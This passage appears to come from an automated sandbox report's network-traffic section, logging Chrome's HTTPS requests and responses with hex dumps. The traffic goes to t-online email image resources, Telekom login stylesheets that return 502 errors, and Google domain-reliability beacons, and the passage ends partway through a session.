2025-03-10 12:56:19 UTC	1369	IN	Data Raw: 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f Data Ascii: turn''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}functio
2025-03-10 12:56:19 UTC	1369	IN	Data Raw: 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b Data Ascii: turn o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49702	62.153.158.211	443	5328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:56:18 UTC	612	OUT	GET //resources/linkmail/spacer.gif HTTP/1.1 Host: email.t-online.de Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:56:19 UTC	394	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 12:56:19 GMT Server: Apache x-xss-protection: 1; mode=block Strict-Transport-Security: max-age=63072000 Last-Modified: Fri, 21 Feb 2025 00:15:43 GMT Accept-Ranges: bytes Content-Length: 46 X-Content-Type-Options: nosniff X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self'; Connection: close Content-Type: image/gif
2025-03-10 12:56:19 UTC	46	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b 69 66 0d Data Ascii: GIF89a!,D;if

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49703	62.153.158.211	443	5328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:56:19 UTC	630	OUT	GET //resources/linkmail/erleben_was_verbindet_DE.gif HTTP/1.1 Host: email.t-online.de Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:56:19 UTC	396	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 12:56:19 GMT Server: Apache x-xss-protection: 1; mode=block Strict-Transport-Security: max-age=63072000 Last-Modified: Fri, 21 Feb 2025 00:15:43 GMT Accept-Ranges: bytes Content-Length: 3717 X-Content-Type-Options: nosniff X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self'; Connection: close Content-Type: image/gif
2025-03-10 12:56:19 UTC	3717	IN	Data Raw: 47 49 46 38 39 61 58 02 2d 00 f7 00 00 f0 7f b9 f6 af d3 e4 0f 7c ef 6f b1 eb 4f 9f f8 bf dc fb df ee e9 3f 96 f2 8f c2 e7 2f 8e ed 5f a8 f4 9f cb fd ef f6 e6 1f 85 eb 4b 9d e3 08 78 fe f5 fa fa d2 e6 f0 78 b5 e3 0b 7a ff fe fe ff fb fd f9 ca e2 e2 01 75 f1 87 be e3 05 77 f9 cb e3 ee 6c af fa d7 e9 e5 17 81 e5 1a 82 f8 c3 de ea 42 98 e7 29 8a e5 1d 84 f3 97 c6 f9 c8 e1 e8 36 91 f3 93 c4 fc e6 f1 fe f7 fb e2 03 76 f4 9d ca fc e3 f0 e2 04 76 fa cf e5 f9 ce e4 fd f0 f7 fd eb f4 e6 27 89 f5 a7 cf ee 69 ad f5 a5 ce e3 09 79 eb 4d 9e e4 13 7e f8 be dc ea 43 99 fc e1 ef e9 3e 96 e5 18 81 f5 a6 ce f3 96 c6 e2 02 75 e7 30 8e f7 b7 d8 ed 65 ab e8 34 90 e6 20 85 ef 75 b4 ef 6e b0 fc e9 f3 f2 8d c1 fb dc ec e3 0d 7b f2 89 bf fe f3 f8 e6 26 89 e7 2d 8d fb d9 ea ff fd Data Ascii: GIF89aX-\|oO?/_KxxzuwlB)6vv'iyM~C>u0e4 un{&-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49704	62.153.158.211	443	5328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:56:19 UTC	617	OUT	GET //resources/linkmail/intro_stage.gif HTTP/1.1 Host: email.t-online.de Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:56:19 UTC	396	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 12:56:19 GMT Server: Apache x-xss-protection: 1; mode=block Strict-Transport-Security: max-age=63072000 Last-Modified: Fri, 21 Feb 2025 00:15:43 GMT Accept-Ranges: bytes Content-Length: 7769 X-Content-Type-Options: nosniff X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self'; Connection: close Content-Type: image/gif
2025-03-10 12:56:19 UTC	7769	IN	Data Raw: 47 49 46 38 39 61 be 00 88 00 f7 00 00 8d ca e5 44 8f ba 4b a9 d8 ea f3 f8 4a a2 cf e3 ee f4 89 be da 55 b3 df e2 e0 e0 a2 a2 a2 43 95 c4 4d ae dc 99 99 99 aa aa aa d6 d4 d4 c4 e4 f1 63 ae d3 49 a6 d5 9c d1 e9 51 b4 e2 96 96 96 4a a8 d6 a0 a0 a0 da e5 ed 70 aa cb 93 c9 e2 55 9f c8 4c 9e c8 4c ac db 6c b4 d7 75 75 75 c1 e0 ee 7b 7b 7b e0 de de 55 a5 ce f2 f6 f8 de dd dd a5 a5 a5 51 b6 e4 5d aa d0 42 9a ca db e8 f0 81 c5 e3 93 93 93 65 a6 ca ba d4 e4 49 a3 d0 47 a3 d3 5f ae d5 d9 e3 eb cb df ea 68 ac ce 5b a8 ce da f0 f9 53 b8 e6 47 9e cd 45 9f cf 45 9d cd a2 c8 dd 9c c8 de 3c 8c bb f9 f9 f9 f8 f8 f8 f7 f7 f7 f6 f6 f6 f5 f5 f5 f2 f2 f2 eb eb eb f4 f4 f4 f0 f0 f0 ed ed ed e9 e9 e9 ec ec ec f1 f1 f1 ee ee ee ea ea ea ef ef ef f3 f3 f3 e8 e8 e8 e6 e6 e6 e4 e4 Data Ascii: GIF89aDKJUCMcIQJpULLluuu{{{UQ]BeIG_h[SGEE<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49705	80.146.236.47	443	5328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:56:19 UTC	583	OUT	GET /static/scale/css/login-26.16.0.css HTTP/1.1 Host: accounts.login.idm.telekom.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:56:20 UTC	247	IN	HTTP/1.1 502 Bad Gateway Server: nginx Date: Mon, 10 Mar 2025 12:56:19 GMT Content-Type: text/html; charset=utf-8 Content-Length: 3335 Connection: close ETag: "65411655-d07" Strict-Transport-Security: max-age=63072000; includeSubDomains
2025-03-10 12:56:20 UTC	3335	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 35 30 32 20 2d 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 65 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 31 22 2f 3e 0a 09 3c 6c 69 6e 6b 20 68 72 Data Ascii: <!DOCTYPE html><html><head><title>502 - Bad Gateway</title><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"><meta http-equiv="expires" content="1"/><link hr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49706	80.146.236.47	443	5328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:56:19 UTC	599	OUT	GET /static/scale/scale-components/scale-components.css HTTP/1.1 Host: accounts.login.idm.telekom.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:56:20 UTC	247	IN	HTTP/1.1 502 Bad Gateway Server: nginx Date: Mon, 10 Mar 2025 12:56:19 GMT Content-Type: text/html; charset=utf-8 Content-Length: 3335 Connection: close ETag: "672c9f7e-d07" Strict-Transport-Security: max-age=63072000; includeSubDomains
2025-03-10 12:56:20 UTC	3335	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 35 30 32 20 2d 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 65 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 31 22 2f 3e 0a 09 3c 6c 69 6e 6b 20 68 72 Data Ascii: <!DOCTYPE html><html><head><title>502 - Bad Gateway</title><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"><meta http-equiv="expires" content="1"/><link hr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49713	62.153.158.211	443	5328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:56:21 UTC	411	OUT	GET //resources/linkmail/spacer.gif HTTP/1.1 Host: email.t-online.de Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:56:22 UTC	394	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 12:56:22 GMT Server: Apache x-xss-protection: 1; mode=block Strict-Transport-Security: max-age=63072000 Last-Modified: Fri, 21 Feb 2025 00:15:43 GMT Accept-Ranges: bytes Content-Length: 46 X-Content-Type-Options: nosniff X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self'; Connection: close Content-Type: image/gif
2025-03-10 12:56:22 UTC	46	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b 69 66 0d Data Ascii: GIF89a!,D;if

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49715	62.153.158.211	443	5328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:56:21 UTC	429	OUT	GET //resources/linkmail/erleben_was_verbindet_DE.gif HTTP/1.1 Host: email.t-online.de Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:56:22 UTC	396	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 12:56:22 GMT Server: Apache x-xss-protection: 1; mode=block Strict-Transport-Security: max-age=63072000 Last-Modified: Fri, 21 Feb 2025 00:15:43 GMT Accept-Ranges: bytes Content-Length: 3717 X-Content-Type-Options: nosniff X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self'; Connection: close Content-Type: image/gif
2025-03-10 12:56:22 UTC	3717	IN	Data Raw: 47 49 46 38 39 61 58 02 2d 00 f7 00 00 f0 7f b9 f6 af d3 e4 0f 7c ef 6f b1 eb 4f 9f f8 bf dc fb df ee e9 3f 96 f2 8f c2 e7 2f 8e ed 5f a8 f4 9f cb fd ef f6 e6 1f 85 eb 4b 9d e3 08 78 fe f5 fa fa d2 e6 f0 78 b5 e3 0b 7a ff fe fe ff fb fd f9 ca e2 e2 01 75 f1 87 be e3 05 77 f9 cb e3 ee 6c af fa d7 e9 e5 17 81 e5 1a 82 f8 c3 de ea 42 98 e7 29 8a e5 1d 84 f3 97 c6 f9 c8 e1 e8 36 91 f3 93 c4 fc e6 f1 fe f7 fb e2 03 76 f4 9d ca fc e3 f0 e2 04 76 fa cf e5 f9 ce e4 fd f0 f7 fd eb f4 e6 27 89 f5 a7 cf ee 69 ad f5 a5 ce e3 09 79 eb 4d 9e e4 13 7e f8 be dc ea 43 99 fc e1 ef e9 3e 96 e5 18 81 f5 a6 ce f3 96 c6 e2 02 75 e7 30 8e f7 b7 d8 ed 65 ab e8 34 90 e6 20 85 ef 75 b4 ef 6e b0 fc e9 f3 f2 8d c1 fb dc ec e3 0d 7b f2 89 bf fe f3 f8 e6 26 89 e7 2d 8d fb d9 ea ff fd Data Ascii: GIF89aX-\|oO?/_KxxzuwlB)6vv'iyM~C>u0e4 un{&-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49714	62.153.158.211	443	5328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:56:21 UTC	416	OUT	GET //resources/linkmail/intro_stage.gif HTTP/1.1 Host: email.t-online.de Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:56:22 UTC	396	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 12:56:22 GMT Server: Apache x-xss-protection: 1; mode=block Strict-Transport-Security: max-age=63072000 Last-Modified: Fri, 21 Feb 2025 00:15:43 GMT Accept-Ranges: bytes Content-Length: 7769 X-Content-Type-Options: nosniff X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self'; Connection: close Content-Type: image/gif
2025-03-10 12:56:22 UTC	7769	IN	Data Raw: 47 49 46 38 39 61 be 00 88 00 f7 00 00 8d ca e5 44 8f ba 4b a9 d8 ea f3 f8 4a a2 cf e3 ee f4 89 be da 55 b3 df e2 e0 e0 a2 a2 a2 43 95 c4 4d ae dc 99 99 99 aa aa aa d6 d4 d4 c4 e4 f1 63 ae d3 49 a6 d5 9c d1 e9 51 b4 e2 96 96 96 4a a8 d6 a0 a0 a0 da e5 ed 70 aa cb 93 c9 e2 55 9f c8 4c 9e c8 4c ac db 6c b4 d7 75 75 75 c1 e0 ee 7b 7b 7b e0 de de 55 a5 ce f2 f6 f8 de dd dd a5 a5 a5 51 b6 e4 5d aa d0 42 9a ca db e8 f0 81 c5 e3 93 93 93 65 a6 ca ba d4 e4 49 a3 d0 47 a3 d3 5f ae d5 d9 e3 eb cb df ea 68 ac ce 5b a8 ce da f0 f9 53 b8 e6 47 9e cd 45 9f cf 45 9d cd a2 c8 dd 9c c8 de 3c 8c bb f9 f9 f9 f8 f8 f8 f7 f7 f7 f6 f6 f6 f5 f5 f5 f2 f2 f2 eb eb eb f4 f4 f4 f0 f0 f0 ed ed ed e9 e9 e9 ec ec ec f1 f1 f1 ee ee ee ea ea ea ef ef ef f3 f3 f3 e8 e8 e8 e6 e6 e6 e4 e4 Data Ascii: GIF89aDKJUCMcIQJpULLluuu{{{UQ]BeIG_h[SGEE<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49717	80.146.236.47	443	5328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:56:22 UTC	625	OUT	GET /static/scale/images/avatar.svg HTTP/1.1 Host: accounts.login.idm.telekom.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:56:23 UTC	247	IN	HTTP/1.1 502 Bad Gateway Server: nginx Date: Mon, 10 Mar 2025 12:56:23 GMT Content-Type: text/html; charset=utf-8 Content-Length: 3335 Connection: close ETag: "672c9f7e-d07" Strict-Transport-Security: max-age=63072000; includeSubDomains
2025-03-10 12:56:23 UTC	3335	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 35 30 32 20 2d 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 65 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 31 22 2f 3e 0a 09 3c 6c 69 6e 6b 20 68 72 Data Ascii: <!DOCTYPE html><html><head><title>502 - Bad Gateway</title><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"><meta http-equiv="expires" content="1"/><link hr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	52433	142.251.116.94	443	5328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:58:44 UTC	363	OUT	POST /domainreliability/upload HTTP/1.1 Host: beacons.gcp.gvt2.com Connection: keep-alive Content-Length: 314 Content-Type: application/json; charset=utf-8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:58:44 UTC	314	OUT	Data Raw: 7b 22 65 6e 74 72 69 65 73 22 3a 5b 7b 22 66 61 69 6c 75 72 65 5f 64 61 74 61 22 3a 7b 22 63 75 73 74 6f 6d 5f 65 72 72 6f 72 22 3a 22 6e 65 74 3a 3a 45 52 52 5f 4e 41 4d 45 5f 4e 4f 54 5f 52 45 53 4f 4c 56 45 44 22 7d 2c 22 6e 65 74 77 6f 72 6b 5f 63 68 61 6e 67 65 64 22 3a 66 61 6c 73 65 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 22 2c 22 72 65 71 75 65 73 74 5f 61 67 65 5f 6d 73 22 3a 37 35 39 39 38 2c 22 72 65 71 75 65 73 74 5f 65 6c 61 70 73 65 64 5f 6d 73 22 3a 31 35 30 37 33 2c 22 73 61 6d 70 6c 65 5f 72 61 74 65 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 22 2c 22 73 74 61 74 75 73 22 3a 22 64 6e 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 62 65 61 63 6f 6e 73 2e 67 63 70 2e 67 76 74 32 2e 63 6f 6d 2f 64 6f 6d 61 69 6e 72 65 6c Data Ascii: {"entries":[{"failure_data":{"custom_error":"net::ERR_NAME_NOT_RESOLVED"},"network_changed":false,"protocol":"","request_age_ms":75998,"request_elapsed_ms":15073,"sample_rate":1.0,"server_ip":"","status":"dns","url":"https://beacons.gcp.gvt2.com/domainrel
2025-03-10 12:58:45 UTC	806	IN	HTTP/1.1 200 OK Report-To: {"group":"ntbdioescrec:47:0","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/scaffolding/ntbdioescrec:47:0"}],} NEL: {"failure_fraction":1,"include_subdomains":false,"max_age":300,"report_to":"nel","success_fraction":0.25} Content-Type: application/javascript; charset=utf-8 Content-Security-Policy-Report-Only: script-src 'none'; form-action 'none'; frame-src 'none'; report-uri https://csp.withgoogle.com/csp/scaffolding/ntbdioescrec:47:0 Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to=ntbdioescrec:47:0 Date: Mon, 10 Mar 2025 12:58:45 GMT Server: Domain Reliability Server Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	52432	142.251.116.94	443	5328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:58:44 UTC	363	OUT	POST /domainreliability/upload HTTP/1.1 Host: beacons.gcp.gvt2.com Connection: keep-alive Content-Length: 881 Content-Type: application/json; charset=utf-8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
